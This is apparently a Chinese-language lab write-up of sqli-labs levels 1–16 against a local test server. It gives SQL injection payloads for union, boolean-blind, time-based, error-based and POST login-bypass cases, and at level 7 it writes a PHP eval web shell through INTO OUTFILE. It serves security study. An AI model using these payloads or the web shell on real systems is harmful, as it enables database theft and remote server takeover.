目录
less1-less4(有回显,仅仅改了sql查询语句的闭合方式)
less1-less4(有回显,仅仅改了sql查询语句的闭合方式)
less-1
先判断注入点:?id=0' union select 1,2,3--
注意判断注入点的时候id一定要改成0或者负数,SQL语句是这样的:SELECT * FROM users WHERE id='0' union select 1,2,3 -- ' LIMIT 0,1
, 我觉得应该是因为实际中并不存在为0或者负数的id,那么where后面的id='0'就是False,那就会执行后面的查询语句了。
注入点如下所示:
database()数据库名字是security,查这个数据库的表名,列名,注意这里的security一定奥加引号,后面跟注释,这样相当于自己闭合。要么就让原来的代码帮我们闭合,写成'security
, 后面啥也不加
查 users表的列名:
查出用户名和密码:
less-2
本题的SQL语句是这样的SELECT * FROM users WHERE id=$id LIMIT 0,1
,可以看到id没有单引号去闭合
payload:
?id=1 and 1=2 union select 1,2,3-- -
为什么这样写呢?带进sql语句看一下:
SELECT * FROM users WHERE id=1 and 1=2 union select 1,2,3-- - LIMIT 0,1
where后面被分成两部分,第一部分:id=1 and 1=2
,1=2为False, 前面又有and,那这个句段的结果就是false,那就会执行后面的联合查询语句了
套路还是判断回显点,然后查数据库名、表名、列名
less-3
sql语句是这样的:SELECT * FROM users WHERE id=('$id') LIMIT 0,1
,
payload:?id=0') union select 1,2,3-- -
没啥意思
less-4
还是改了改sql语句,payload:id=1") and 1=1 -- -
less5-less8 (布尔盲注)
left()函数:
less-5
加''进行闭合,或者直接' %23对后面进行省略,此外,无数据回显,进行盲注或者报错注入
先尝试爆破数据库名的长度
?id=1' and length(database())=1 %23
8是对的
爆数据库名
?id=1' and ascii(substr((database() ),1,1))>50%23
最终结果:
首字母ascii值为115,就是s
开始跑brup,最后数据库名ascii为115 101 99 117 114 105 116 121 转换为security
也可以这样:
数据库长度:
?id=1' and length(database())=8--+
数据库名:
用’a’、‘b’、‘c’、‘d’……‘w’、‘y’、'z’挨个试呗!!! ?id=1' and left(database(),1)>'a'--+
?id=1' and left(database(),1)='s'--+
经过测试大于、小于之后,我们最后可以用等于确定第一个字符为“s”
测试数据库第二位: ?id=1' and left(database(),2)>'sd'--+ //正确 ?id=1' and left(datbase(),2)>'se--+' //错误 ?id=1' and left(database(),2)='se'--+ //正确
?id=1' and (select count(*) from information_schema.tables where table_schema=database() )=4 %23 可以发现当前数据库下有4张表
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='0' %23 跑出第一张表为emails,把后面的limit 1,1 一次次换,得到四张表
测数据库中的表个数: ?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
测试各表名长度: ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6--+ ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>6--+ ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))>6--+ ……
测试表名组成元素: ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'a'--+ ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)>'us--+' ……
测试某表中字段个数: ?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='xxx')=4--+ …… 测试某表中字段名长度: ?id=1' and length((select column_name from information_schema.tables where table_schema=database() and table_name='xxx' limit 0,1))>6--+ ?id=1' and length((select column_name from information_schema.tables where table_schema=database() and table_name='xxx' limit 1,1))>6--+ ……
less-6
和less5的去区别是用双引号进行闭合 其他的步骤和上面类似
less-7
http://127.0.0.1:88/sql/Less-7/?id=1')) %23 闭合 http://127.0.0.1:88/sql/Less-7/?id=1')) union select 1,2,3 into outfile "D:\\web\\PhpStudy20180211\\PHPTutorial\\WWW\\a.php"--+ 写入文件 http://127.0.0.1:88/sql/Less-7/?id=1')) union select 1,2,3 into outfile "D:/web/PhpStudy20180211/PHPTutorial/WWW/a.php"--+ 写入文件 http://127.0.0.1/sql/Less-7/?id=1')) union select 1,"<?php @eval($_POST['cmd']); ?>",3 into outfile "D:/web/PhpStudy20180211/PHPTutorial/WWW/sql/a.php"--+ 写入一句话
less-8
http://127.0.0.1/sql/Less-8/?id=1' %23 闭合 和第五个盲注过程一样,通过brup跑
less9-less10 (无回显盲注)
less-9
发现无回显,用报错或者时间盲注,但是测试报错注入也不行,只能用时间盲注 http://127.0.0.1:88/sql/Less-9/?id=1' and if(1=2,1,sleep(5)) %23 闭合 http://127.0.0.1:88/sql/Less-9/?id=1' and if(length(database())<1,sleep(10),1) %23 brup跑数字库长度,当到8时暂停了10秒 http://127.0.0.1:88/sql/Less-9/?id=1' and and if(ascii(substring(database(),1,1))='110',sleep(5),1) %23 跑assic码,跑出来是security http://127.0.0.1:88/sql/Less-9/?id=1' and if((select count(*)from information_schema.tables where table_schema=database() )=4,sleep(5),1) %23 发现当前数据库下有4张表 下来就是和第5关的盲注一样了,只不过加上sleep函数进行判断对错
less-10
http://127.0.0.1:88/sql/Less-10/?id=1" and if(1=2,1,sleep(5)) %23 闭合 http://127.0.0.1:88/sql/Less-10/?id=1" and if(length(database())<9,sleep(10),1) %23 判断出当前数据库名称为8位 下来就和第九关差不多了
less11-less12(POST回显注入)
less-11
单引号闭合
less-12
") 闭合
less13-less14 (POST布尔盲注)
less-13
本关不显示登录信息,只能给你一个是否登录成功的返回数据
闭合: admin’) or 1=1#
less-14
报错注入
admin"and left(database(),1)>‘a’# admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
less15-less (POST无回显注入)
less-15
无回显的盲注
本关没有错误提示,那么我们只能靠猜测进行注入。 admin’and If(ascii(substr(database(),1,1))=115,1,sleep(5))# 正确的时候可以直接登录,不正确的时候延时 5 秒。
less-16
闭合方式变了
admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#